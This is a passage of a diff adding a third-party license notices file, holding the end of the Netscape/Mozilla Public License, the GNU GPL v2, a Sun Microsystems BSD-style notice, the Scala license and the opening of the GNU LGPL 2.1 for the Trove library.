+       CHARACTER INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF GOODWILL,
+       WORK STOPPAGE, COMPUTER FAILURE OR MALFUNCTION, OR ANY AND ALL OTHER
+       COMMERCIAL DAMAGES OR LOSSES, EVEN IF SUCH PARTY SHALL HAVE BEEN
+       INFORMED OF THE POSSIBILITY OF SUCH DAMAGES. THIS LIMITATION OF
+       LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH OR PERSONAL INJURY
+       RESULTING FROM SUCH PARTY'S NEGLIGENCE TO THE EXTENT APPLICABLE LAW
+       PROHIBITS SUCH LIMITATION. SOME JURISDICTIONS DO NOT ALLOW THE
+       EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO
+       THIS EXCLUSION AND LIMITATION MAY NOT APPLY TO YOU.
+
+  10. U.S. GOVERNMENT END USERS.
+
+       The Covered Code is a "commercial item," as that term is defined in
+       48 C.F.R. 2.101 (Oct. 1995), consisting of "commercial computer
+       software" and "commercial computer software documentation," as such
+       terms are used in 48 C.F.R. 12.212 (Sept. 1995). Consistent with 48
+       C.F.R. 12.212 and 48 C.F.R. 227.7202-1 through 227.7202-4 (June 1995),
+       all U.S. Government End Users acquire Covered Code with only those
+       rights set forth herein.
+
+  11. MISCELLANEOUS.
+
+       This License represents the complete agreement concerning subject
+       matter hereof. If any provision of this License is held to be
+       unenforceable, such provision shall be reformed only to the extent
+       necessary to make it enforceable. This License shall be governed by
+       California law provisions (except to the extent applicable law, if
+       any, provides otherwise), excluding its conflict-of-law provisions.
+       With respect to disputes in which at least one party is a citizen of,
+       or an entity chartered or registered to do business in the United
+       States of America, any litigation relating to this License shall be
+       subject to the jurisdiction of the Federal Courts of the Northern
+       District of California, with venue lying in Santa Clara County,
+       California, with the losing party responsible for costs, including
+       without limitation, court costs and reasonable attorneys' fees and
+       expenses. The application of the United Nations Convention on
+       Contracts for the International Sale of Goods is expressly excluded.
+       Any law or regulation which provides that the language of a contract
+       shall be construed against the drafter shall not apply to this
+       License.
+
+  12. RESPONSIBILITY FOR CLAIMS.
+
+       As between Initial Developer and the Contributors, each party is
+       responsible for claims and damages arising, directly or indirectly,
+       out of its utilization of rights under this License and You agree to
+       work with Initial Developer and Contributors to distribute such
+       responsibility on an equitable basis. Nothing herein is intended or
+       shall be deemed to constitute any admission of liability.
+
+  13. MULTIPLE-LICENSED CODE.
+
+       Initial Developer may designate portions of the Covered Code as
+       "Multiple-Licensed".  "Multiple-Licensed" means that the Initial
+       Developer permits you to utilize portions of the Covered Code under
+       Your choice of the NPL or the alternative licenses, if any, specified
+       by the Initial Developer in the file described in Exhibit A.
+
+  EXHIBIT A -Mozilla Public License.
+
+       ``The contents of this file are subject to the Mozilla Public License
+       Version 1.1 (the "License"); you may not use this file except in
+       compliance with the License. You may obtain a copy of the License at
+       http://www.mozilla.org/MPL/
+
+       Software distributed under the License is distributed on an "AS IS"
+       basis, WITHOUT WARRANTY OF ANY KIND, either express or implied. See the
+       License for the specific language governing rights and limitations
+       under the License.
+
+       The Original Code is ______________________________________.
+
+       The Initial Developer of the Original Code is ________________________.
+       Portions created by ______________________ are Copyright (C) ______
+       _______________________. All Rights Reserved.
+
+       Contributor(s): ______________________________________.
+
+       Alternatively, the contents of this file may be used under the terms
+       of the _____ license (the  "[___] License"), in which case the
+       provisions of [______] License are applicable instead of those
+       above.  If you wish to allow use of your version of this file only
+       under the terms of the [____] License and not to allow others to use
+       your version of this file under the MPL, indicate your decision by
+       deleting  the provisions above and replace  them with the notice and
+       other provisions required by the [___] License.  If you do not delete
+       the provisions above, a recipient may use your version of this file
+       under either the MPL or the [___] License."
+
+       [NOTE: The text of this Exhibit A may differ slightly from the text of
+       the notices in the Source Code files of the Original Code. You should
+       use the text of this Exhibit A rather than the text found in the
+       Original Code Source Code for Your Modifications.]
+============================================================================
+
+============================================================================
+	  GNU GENERAL PUBLIC LICENSE
+	     Version 2, June 1991
+
+   Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
+   51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+   Everyone is permitted to copy and distribute verbatim copies
+   of this license document, but changing it is not allowed.
+
+	    Preamble
+
+    The licenses for most software are designed to take away your
+  freedom to share and change it.  By contrast, the GNU General Public
+  License is intended to guarantee your freedom to share and change free
+  software--to make sure the software is free for all its users.  This
+  General Public License applies to most of the Free Software
+  Foundation's software and to any other program whose authors commit to
+  using it.  (Some other Free Software Foundation software is covered by
+  the GNU Lesser General Public License instead.)  You can apply it to
+  your programs, too.
+
+    When we speak of free software, we are referring to freedom, not
+  price.  Our General Public Licenses are designed to make sure that you
+  have the freedom to distribute copies of free software (and charge for
+  this service if you wish), that you receive source code or can get it
+  if you want it, that you can change the software or use pieces of it
+  in new free programs; and that you know you can do these things.
+
+    To protect your rights, we need to make restrictions that forbid
+  anyone to deny you these rights or to ask you to surrender the rights.
+  These restrictions translate to certain responsibilities for you if you
+  distribute copies of the software, or if you modify it.
+
+    For example, if you distribute copies of such a program, whether
+  gratis or for a fee, you must give the recipients all the rights that
+  you have.  You must make sure that they, too, receive or can get the
+  source code.  And you must show them these terms so they know their
+  rights.
+
+    We protect your rights with two steps: (1) copyright the software, and
+  (2) offer you this license which gives you legal permission to copy,
+  distribute and/or modify the software.
+
+    Also, for each author's protection and ours, we want to make certain
+  that everyone understands that there is no warranty for this free
+  software.  If the software is modified by someone else and passed on, we
+  want its recipients to know that what they have is not the original, so
+  that any problems introduced by others will not reflect on the original
+  authors' reputations.
+
+    Finally, any free program is threatened constantly by software
+  patents.  We wish to avoid the danger that redistributors of a free
+  program will individually obtain patent licenses, in effect making the
+  program proprietary.  To prevent this, we have made it clear that any
+  patent must be licensed for everyone's free use or not licensed at all.
+
+    The precise terms and conditions for copying, distribution and
+  modification follow.
+
+	  GNU GENERAL PUBLIC LICENSE
+     TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+    0. This License applies to any program or other work which contains
+  a notice placed by the copyright holder saying it may be distributed
+  under the terms of this General Public License.  The "Program", below,
+  refers to any such program or work, and a "work based on the Program"
+  means either the Program or any derivative work under copyright law:
+  that is to say, a work containing the Program or a portion of it,
+  either verbatim or with modifications and/or translated into another
+  language.  (Hereinafter, translation is included without limitation in
+  the term "modification".)  Each licensee is addressed as "you".
+
+  Activities other than copying, distribution and modification are not
+  covered by this License; they are outside its scope.  The act of
+  running the Program is not restricted, and the output from the Program
+  is covered only if its contents constitute a work based on the
+  Program (independent of having been made by running the Program).
+  Whether that is true depends on what the Program does.
+
+    1. You may copy and distribute verbatim copies of the Program's
+  source code as you receive it, in any medium, provided that you
+  conspicuously and appropriately publish on each copy an appropriate
+  copyright notice and disclaimer of warranty; keep intact all the
+  notices that refer to this License and to the absence of any warranty;
+  and give any other recipients of the Program a copy of this License
+  along with the Program.
+
+  You may charge a fee for the physical act of transferring a copy, and
+  you may at your option offer warranty protection in exchange for a fee.
+
+    2. You may modify your copy or copies of the Program or any portion
+  of it, thus forming a work based on the Program, and copy and
+  distribute such modifications or work under the terms of Section 1
+  above, provided that you also meet all of these conditions:
+
+      a) You must cause the modified files to carry prominent notices
+      stating that you changed the files and the date of any change.
+
+      b) You must cause any work that you distribute or publish, that in
+      whole or in part contains or is derived from the Program or any
+      part thereof, to be licensed as a whole at no charge to all third
+      parties under the terms of this License.
+
+      c) If the modified program normally reads commands interactively
+      when run, you must cause it, when started running for such
+      interactive use in the most ordinary way, to print or display an
+      announcement including an appropriate copyright notice and a
+      notice that there is no warranty (or else, saying that you provide
+      a warranty) and that users may redistribute the program under
+      these conditions, and telling the user how to view a copy of this
+      License.  (Exception: if the Program itself is interactive but
+      does not normally print such an announcement, your work based on
+      the Program is not required to print an announcement.)
+
+  These requirements apply to the modified work as a whole.  If
+  identifiable sections of that work are not derived from the Program,
+  and can be reasonably considered independent and separate works in
+  themselves, then this License, and its terms, do not apply to those
+  sections when you distribute them as separate works.  But when you
+  distribute the same sections as part of a whole which is a work based
+  on the Program, the distribution of the whole must be on the terms of
+  this License, whose permissions for other licensees extend to the
+  entire whole, and thus to each and every part regardless of who wrote it.
+
+  Thus, it is not the intent of this section to claim rights or contest
+  your rights to work written entirely by you; rather, the intent is to
+  exercise the right to control the distribution of derivative or
+  collective works based on the Program.
+
+  In addition, mere aggregation of another work not based on the Program
+  with the Program (or with a work based on the Program) on a volume of
+  a storage or distribution medium does not bring the other work under
+  the scope of this License.
+
+    3. You may copy and distribute the Program (or a work based on it,
+  under Section 2) in object code or executable form under the terms of
+  Sections 1 and 2 above provided that you also do one of the following:
+
+      a) Accompany it with the complete corresponding machine-readable
+      source code, which must be distributed under the terms of Sections
+      1 and 2 above on a medium customarily used for software interchange; or,
+
+      b) Accompany it with a written offer, valid for at least three
+      years, to give any third party, for a charge no more than your
+      cost of physically performing source distribution, a complete
+      machine-readable copy of the corresponding source code, to be
+      distributed under the terms of Sections 1 and 2 above on a medium
+      customarily used for software interchange; or,
+
+      c) Accompany it with the information you received as to the offer
+      to distribute corresponding source code.  (This alternative is
+      allowed only for noncommercial distribution and only if you
+      received the program in object code or executable form with such
+      an offer, in accord with Subsection b above.)
+
+  The source code for a work means the preferred form of the work for
+  making modifications to it.  For an executable work, complete source
+  code means all the source code for all modules it contains, plus any
+  associated interface definition files, plus the scripts used to
+  control compilation and installation of the executable.  However, as a
+  special exception, the source code distributed need not include
+  anything that is normally distributed (in either source or binary
+  form) with the major components (compiler, kernel, and so on) of the
+  operating system on which the executable runs, unless that component
+  itself accompanies the executable.
+
+  If distribution of executable or object code is made by offering
+  access to copy from a designated place, then offering equivalent
+  access to copy the source code from the same place counts as
+  distribution of the source code, even though third parties are not
+  compelled to copy the source along with the object code.
+
+    4. You may not copy, modify, sublicense, or distribute the Program
+  except as expressly provided under this License.  Any attempt
+  otherwise to copy, modify, sublicense or distribute the Program is
+  void, and will automatically terminate your rights under this License.
+  However, parties who have received copies, or rights, from you under
+  this License will not have their licenses terminated so long as such
+  parties remain in full compliance.
+
+    5. You are not required to accept this License, since you have not
+  signed it.  However, nothing else grants you permission to modify or
+  distribute the Program or its derivative works.  These actions are
+  prohibited by law if you do not accept this License.  Therefore, by
+  modifying or distributing the Program (or any work based on the
+  Program), you indicate your acceptance of this License to do so, and
+  all its terms and conditions for copying, distributing or modifying
+  the Program or works based on it.
+
+    6. Each time you redistribute the Program (or any work based on the
+  Program), the recipient automatically receives a license from the
+  original licensor to copy, distribute or modify the Program subject to
+  these terms and conditions.  You may not impose any further
+  restrictions on the recipients' exercise of the rights granted herein.
+  You are not responsible for enforcing compliance by third parties to
+  this License.
+
+    7. If, as a consequence of a court judgment or allegation of patent
+  infringement or for any other reason (not limited to patent issues),
+  conditions are imposed on you (whether by court order, agreement or
+  otherwise) that contradict the conditions of this License, they do not
+  excuse you from the conditions of this License.  If you cannot
+  distribute so as to satisfy simultaneously your obligations under this
+  License and any other pertinent obligations, then as a consequence you
+  may not distribute the Program at all.  For example, if a patent
+  license would not permit royalty-free redistribution of the Program by
+  all those who receive copies directly or indirectly through you, then
+  the only way you could satisfy both it and this License would be to
+  refrain entirely from distribution of the Program.
+
+  If any portion of this section is held invalid or unenforceable under
+  any particular circumstance, the balance of the section is intended to
+  apply and the section as a whole is intended to apply in other
+  circumstances.
+
+  It is not the purpose of this section to induce you to infringe any
+  patents or other property right claims or to contest validity of any
+  such claims; this section has the sole purpose of protecting the
+  integrity of the free software distribution system, which is
+  implemented by public license practices.  Many people have made
+  generous contributions to the wide range of software distributed
+  through that system in reliance on consistent application of that
+  system; it is up to the author/donor to decide if he or she is willing
+  to distribute software through any other system and a licensee cannot
+  impose that choice.
+
+  This section is intended to make thoroughly clear what is believed to
+  be a consequence of the rest of this License.
+
+    8. If the distribution and/or use of the Program is restricted in
+  certain countries either by patents or by copyrighted interfaces, the
+  original copyright holder who places the Program under this License
+  may add an explicit geographical distribution limitation excluding
+  those countries, so that distribution is permitted only in or among
+  countries not thus excluded.  In such case, this License incorporates
+  the limitation as if written in the body of this License.
+
+    9. The Free Software Foundation may publish revised and/or new versions
+  of the General Public License from time to time.  Such new versions will
+  be similar in spirit to the present version, but may differ in detail to
+  address new problems or concerns.
+
+  Each version is given a distinguishing version number.  If the Program
+  specifies a version number of this License which applies to it and "any
+  later version", you have the option of following the terms and conditions
+  either of that version or of any later version published by the Free
+  Software Foundation.  If the Program does not specify a version number of
+  this License, you may choose any version ever published by the Free Software
+  Foundation.
+
+    10. If you wish to incorporate parts of the Program into other free
+  programs whose distribution conditions are different, write to the author
+  to ask for permission.  For software which is copyrighted by the Free
+  Software Foundation, write to the Free Software Foundation; we sometimes
+  make exceptions for this.  Our decision will be guided by the two goals
+  of preserving the free status of all derivatives of our free software and
+  of promoting the sharing and reuse of software generally.
+
+	    NO WARRANTY
+
+    11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
+  FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
+  OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
+  PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
+  OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
+  TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
+  PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
+  REPAIR OR CORRECTION.
+
+    12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+  WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
+  REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
+  INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
+  OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
+  TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
+  YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
+  PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
+  POSSIBILITY OF SUCH DAMAGES.
+
+	   END OF TERMS AND CONDITIONS
+
+	How to Apply These Terms to Your New Programs
+
+    If you develop a new program, and you want it to be of the greatest
+  possible use to the public, the best way to achieve this is to make it
+  free software which everyone can redistribute and change under these terms.
+
+    To do so, attach the following notices to the program.  It is safest
+  to attach them to the start of each source file to most effectively
+  convey the exclusion of warranty; and each file should have at least
+  the "copyright" line and a pointer to where the full notice is found.
+
+      <one line to give the program's name and a brief idea of what it does.>
+      Copyright (C) <year>  <name of author>
+
+      This program is free software; you can redistribute it and/or modify
+      it under the terms of the GNU General Public License as published by
+      the Free Software Foundation; either version 2 of the License, or
+      (at your option) any later version.
+
+      This program is distributed in the hope that it will be useful,
+      but WITHOUT ANY WARRANTY; without even the implied warranty of
+      MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+      GNU General Public License for more details.
+
+      You should have received a copy of the GNU General Public License along
+      with this program; if not, write to the Free Software Foundation, Inc.,
+      51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+
+  Also add information on how to contact you by electronic and paper mail.
+
+  If the program is interactive, make it output a short notice like this
+  when it starts in an interactive mode:
+
+      Gnomovision version 69, Copyright (C) year name of author
+      Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+      This is free software, and you are welcome to redistribute it
+      under certain conditions; type `show c' for details.
+
+  The hypothetical commands `show w' and `show c' should show the appropriate
+  parts of the General Public License.  Of course, the commands you use may
+  be called something other than `show w' and `show c'; they could even be
+  mouse-clicks or menu items--whatever suits your program.
+
+  You should also get your employer (if you work as a programmer) or your
+  school, if any, to sign a "copyright disclaimer" for the program, if
+  necessary.  Here is a sample; alter the names:
+
+    Yoyodyne, Inc., hereby disclaims all copyright interest in the program
+    `Gnomovision' (which makes passes at compilers) written by James Hacker.
+
+    <signature of Ty Coon>, 1 April 1989
+    Ty Coon, President of Vice
+
+  This General Public License does not permit incorporating your program into
+  proprietary programs.  If your program is a subroutine library, you may
+  consider it more useful to permit linking proprietary applications with the
+  library.  If this is what you want to do, use the GNU Lesser General
+  Public License instead of this License.
+============================================================================
+
+Additionally, some files (currently the contents of
+toolsrc/org/mozilla/javascript/tools/debugger/treetable/) are available
+only under the following license:
+
+============================================================================
+ * Copyright 1997, 1998 Sun Microsystems, Inc.  All Rights Reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *
+ *   - Redistributions of source code must retain the above copyright
+ *     notice, this list of conditions and the following disclaimer.
+ *
+ *   - Redistributions in binary form must reproduce the above copyright
+ *     notice, this list of conditions and the following disclaimer in the
+ *     documentation and/or other materials provided with the distribution.
+ *
+ *   - Neither the name of Sun Microsystems nor the names of its
+ *     contributors may be used to endorse or promote products derived
+ *     from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
+ * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
+ * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+ * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+============================================================================
+
+--------------------------------------------------------------------------------
+scala_license.txt:
+SCALA LICENSE
+
+Copyright (c) 2002-2012 EPFL, Lausanne, unless otherwise specified.
+All rights reserved.
+
+This software was developed by the Programming Methods Laboratory of the
+Swiss Federal Institute of Technology (EPFL), Lausanne, Switzerland.
+
+Permission to use, copy, modify, and distribute this software in source
+or binary form for any purpose with or without fee is hereby granted,
+provided that the following conditions are met:
+
+   1. Redistributions of source code must retain the above copyright
+      notice, this list of conditions and the following disclaimer.
+
+   2. Redistributions in binary form must reproduce the above copyright
+      notice, this list of conditions and the following disclaimer in the
+      documentation and/or other materials provided with the distribution.
+
+   3. Neither the name of the EPFL nor the names of its contributors
+      may be used to endorse or promote products derived from this
+      software without specific prior written permission.
+
+
+THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
+ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
+FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+SUCH DAMAGE.
+--------------------------------------------------------------------------------
+trove_license.txt:
+          GNU LESSER GENERAL PUBLIC LICENSE
+               Version 2.1, February 1999
+
+ Copyright (C) 1991, 1999 Free Software Foundation, Inc.
+     59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+[This is the first released version of the Lesser GPL.  It also counts
+ as the successor of the GNU Library Public License, version 2, hence
+ the version number 2.1.]
+
+                Preamble
+
+  The licenses for most software are designed to take away your
+freedom to share and change it.  By contrast, the GNU General Public
+Licenses are intended to guarantee your freedom to share and change
+free software--to make sure the software is free for all its users.
+
+  This license, the Lesser General Public License, applies to some
+specially designated software packages--typically libraries--of the
+Free Software Foundation and other authors who decide to use it.  You
+can use it too, but we suggest you first think carefully about whether
+this license or the ordinary General Public License is the better
+strategy to use in any particular case, based on the explanations below.
+
+  When we speak of free software, we are referring to freedom of use,
+not price.  Our General Public Licenses are designed to make sure that
+you have the freedom to distribute copies of free software (and charge
+for this service if you wish); that you receive source code or can get
+it if you want it; that you can change the software and use pieces of
+it in new free programs; and that you are informed that you can do
+these things.
+
+  To protect your rights, we need to make restrictions that forbid
+distributors to deny you these rights or to ask you to surrender these
+rights.  These restrictions translate to certain responsibilities for
+you if you distribute copies of the library or if you modify it.
+
+  For example, if you distribute copies of the library, whether gratis
+or for a fee, you must give the recipients all the rights that we gave
+you.  You must make sure that they, too, receive or can get the source
+code.  If you link other code with the library, you must provide
+complete object files to the recipients, so that they can relink them
+with the library after making changes to the library and recompiling
+it.  And you must show them these terms so they know their rights.
+
+  We protect your rights with a two-step method: (1) we copyright the
+library, and (2) we offer you this license, which gives you legal
+permission to copy, distribute and/or modify the library.
+
+  To protect each distributor, we want to make it very clear that
+there is no warranty for the free library.  Also, if the library is
+modified by someone else and passed on, the recipients should know
+that what they have is not the original version, so that the original
+author's reputation will not be affected by problems that might be
+introduced by others.
+
+  Finally, software patents pose a constant threat to the existence of
+any free program.  We wish to make sure that a company cannot
+effectively restrict the users of a free program by obtaining a
+restrictive license from a patent holder.  Therefore, we insist that
+any patent license obtained for a version of the library must be
+consistent with the full freedom of use specified in this license.
+
+  Most GNU software, including some libraries, is covered by the
+ordinary GNU General Public License.  This license, the GNU Lesser
+General Public License, applies to certain designated libraries, and
+is quite different from the ordinary General Public License.  We use
+this license for certain libraries in order to permit linking those
+libraries into non-free programs.
+
+  When a program is linked with a library, whether statically or using
+a shared library, the combination of the two is legally speaking a
+combined work, a derivative of the original library.  The ordinary
+General Public License therefore permits such linking only if the
+entire combination fits its criteria of freedom.  The Lesser General
+Public License permits more lax criteria for linking other code with
+the library.
+
+  We call this license the "Lesser" General Public License because it
+does Less to protect the user's freedom than the ordinary General
+Public License.  It also provides other free software developers Less
+of an advantage over competing non-free programs.  These disadvantages
+are the reason we use the ordinary General Public License for many
+libraries.  However, the Lesser license provides advantages in certain
+special circumstances.
+
+  For example, on rare occasions, there may be a special need to
+encourage the widest possible use of a certain library, so that it becomes
+a de-facto standard.  To achieve this, non-free programs must be
+allowed to use the library.  A more frequent case is that a free
+library does the same job as widely used non-free libraries.  In this
+case, there is little to gain by limiting the free library to free
+software only, so we use the Lesser General Public License.
+
+  In other cases, permission to use a particular library in non-free
+programs enables a greater number of people to use a large body of
+free software.  For example, permission to use the GNU C Library in
+non-free programs enables many more people to use the whole GNU
+operating system, as well as its variant, the GNU/Linux operating
+system.
+
+  Although the Lesser General Public License is Less protective of the
+users' freedom, it does ensure that the user of a program that is
+linked with the Library has the freedom and the wherewithal to run
+that program using a modified version of the Library.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.  Pay close attention to the difference between a
+"work based on the library" and a "work that uses the library".  The
+former contains code derived from the library, whereas the latter must
+be combined with the library in order to run.
+
+          GNU LESSER GENERAL PUBLIC LICENSE
+   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+  0. This License Agreement applies to any software library or other
+program which contains a notice placed by the copyright holder or
+other authorized party saying it may be distributed under the terms of
+this Lesser General Public License (also called "this License").
+Each licensee is addressed as "you".
+
+  A "library" means a collection of software functions and/or data
+prepared so as to be conveniently linked with application programs
+(which use some of those functions and data) to form executables.
+
+  The "Library", below, refers to any such software library or work
+which has been distributed under these terms.  A "work based on the
+Library" means either the Library or any derivative work under
+copyright law: that is to say, a work containing the Library or a
+portion of it, either verbatim or with modifications and/or translated
+straightforwardly into another language.  (Hereinafter, translation is
+included without limitation in the term "modification".)
+
+  "Source code" for a work means the preferred form of the work for
+making modifications to it.  For a library, complete source code means
+all the source code for all modules it contains, plus any associated
+interface definition files, plus the scripts used to control compilation
+and installation of the library.
+
+  Activities other than copying, distribution and modification are not
+covered by this License; they are outside its scope.  The act of
+running a program using the Library is not restricted, and output from
+such a program is covered only if its contents constitute a work based
+on the Library (independent of the use of the Library in a tool for
+writing it).  Whether that is true depends on what the Library does
+and what the program that uses the Library does.
+
+  1. You may copy and distribute verbatim copies of the Library's
+complete source code as you receive it, in any medium, provided that
+you conspicuously and appropriately publish on each copy an
+appropriate copyright notice and disclaimer of warranty; keep intact
+all the notices that refer to this License and to the absence of any
+warranty; and distribute a copy of this License along with the
+Library.
+
+  You may charge a fee for the physical act of transferring a copy,
+and you may at your option offer warranty protection in exchange for a
+fee.
+
+  2. You may modify your copy or copies of the Library or any portion
+of it, thus forming a work based on the Library, and copy and
+distribute such modifications or work under the terms of Section 1
+above, provided that you also meet all of these conditions:
+
+    a) The modified work must itself be a software library.
+
+    b) You must cause the files modified to carry prominent notices
+    stating that you changed the files and the date of any change.
+
+    c) You must cause the whole of the work to be licensed at no
+    charge to all third parties under the terms of this License.
+
+    d) If a facility in the modified Library refers to a function or a
+    table of data to be supplied by an application program that uses
+    the facility, other than as an argument passed when the facility
+    is invoked, then you must make a good faith effort to ensure that,
+    in the event an application does not supply such function or
+    table, the facility still operates, and performs whatever part of
+    its purpose remains meaningful.
+
+    (For example, a function in a library to compute square roots has
+    a purpose that is entirely well-defined independent of the
+    application.  Therefore, Subsection 2d requires that any
+    application-supplied function or table used by this function must
+    be optional: if the application does not supply it, the square
+    root function must still compute square roots.)
+
+These requirements apply to the modified work as a whole.  If
+identifiable sections of that work are not derived from the Library,
+and can be reasonably considered independent and separate works in
+themselves, then this License, and its terms, do not apply to those
+sections when you distribute them as separate works.  But when you
+distribute the same sections as part of a whole which is a work based
+on the Library, the distribution of the whole must be on the terms of
+this License, whose permissions for other licensees extend to the
+entire whole, and thus to each and every part regardless of who wrote
+it.
+
+Thus, it is not the intent of this section to claim rights or contest
+your rights to work written entirely by you; rather, the intent is to
+exercise the right to control the distribution of derivative or
+collective works based on the Library.
+
+In addition, mere aggregation of another work not based on the Library
+with the Library (or with a work based on the Library) on a volume of
+a storage or distribution medium does not bring the other work under
+the scope of this License.
+
+  3. You may opt to apply the terms of the ordinary GNU General Public
+License instead of this License to a given copy of the Library.  To do
+this, you must alter all the notices that refer to this License, so
+that they refer to the ordinary GNU General Public License, version 2,
+instead of to this License.  (If a newer version than version 2 of the
+ordinary GNU General Public License has appeared, then you can specify
+that version instead if you wish.)  Do not make any other change in
+these notices.
+
+  Once this change is made in a given copy, it is irreversible for
+that copy, so the ordinary GNU General Public License applies to all
+subsequent copies and derivative works made from that copy.
+
+  This option is useful when you wish to copy part of the code of
+the Library into a program that is not a library.
+
+  4. You may copy and distribute the Library (or a portion or
+derivative of it, under Section 2) in object code or executable form
+under the terms of Sections 1 and 2 above provided that you accompany
+it with the complete corresponding machine-readable source code, which
+must be distributed under the terms of Sections 1 and 2 above on a
+medium customarily used for software interchange.
+
+  If distribution of object code is made by offering access to copy
+from a designated place, then offering equivalent access to copy the
+source code from the same place satisfies the requirement to
+distribute the source code, even though third parties are not
+compelled to copy the source along with the object code.
+
+  5. A program that contains no derivative of any portion of the
+Library, but is designed to work with the Library by being compiled or
+linked with it, is called a "work that uses the Library".  Such a
+work, in isolation, is not a derivative work of the Library, and
+therefore falls outside the scope of this License.
+
+  However, linking a "work that uses the Library" with the Library
+creates an executable that is a derivative of the Library (because it
+contains portions of the Library), rather than a "work that uses the
+library".  The executable is therefore covered by this License.
+Section 6 states terms for distribution of such executables.
+
+  When a "work that uses the Library" uses material from a header file
+that is part of the Library, the object code for the work may be a
+derivative work of the Library even though the source code is not.
+Whether this is true is especially significant if the work can be
+linked without the Library, or if the work is itself a library.  The
+threshold for this to be true is not precisely defined by law.
+
+  If such an object file uses only numerical parameters, data
+structure layouts and accessors, and small macros and small inline
+functions (ten lines or less in length), then the use of the object
+file is unrestricted, regardless of whether it is legally a derivative
+work.  (Executables containing this object code plus portions of the
+Library will still fall under Section 6.)
+
+  Otherwise, if the work is a derivative of the Library, you may
+distribute the object code for the work under the terms of Section 6.
+Any executables containing that work also fall under Section 6,
+whether or not they are linked directly with the Library itself.
+
+  6. As an exception to the Sections above, you may also combine or
+link a "work that uses the Library" with the Library to produce a
+work containing portions of the Library, and distribute that work
+under terms of your choice, provided that the terms permit
+modification of the work for the customer's own use and reverse
+engineering for debugging such modifications.
+
+  You must give prominent notice with each copy of the work that the
+Library is used in it and that the Library and its use are covered by
+this License.  You must supply a copy of this License.  If the work
+during execution displays copyright notices, you must include the
+copyright notice for the Library among them, as well as a reference
+directing the user to the copy of this License.  Also, you must do one
+of these things:
+
+    a) Accompany the work with the complete corresponding
+    machine-readable source code for the Library including whatever
